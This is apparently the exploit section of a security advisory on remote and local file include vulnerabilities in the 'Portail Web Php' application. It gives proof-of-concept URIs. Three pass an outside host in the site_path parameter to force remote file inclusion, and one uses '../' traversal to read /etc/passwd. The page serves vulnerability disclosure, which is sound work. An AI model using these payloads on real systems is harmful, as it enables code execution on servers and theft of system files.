• info
• discussion
• exploit
• solution
• references

Portail Web Php Multiple Remote And Local File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/template/Vert/index.php?site_path=http://www.example2.com http://www.example.com/template/Noir/index.php?site_path=http://www.example2.com http://www.example.com/template/Bleu/index.php?site_path=http://www.example2.com
http://www.example.com/?page=../../../../../../../../etc/passwd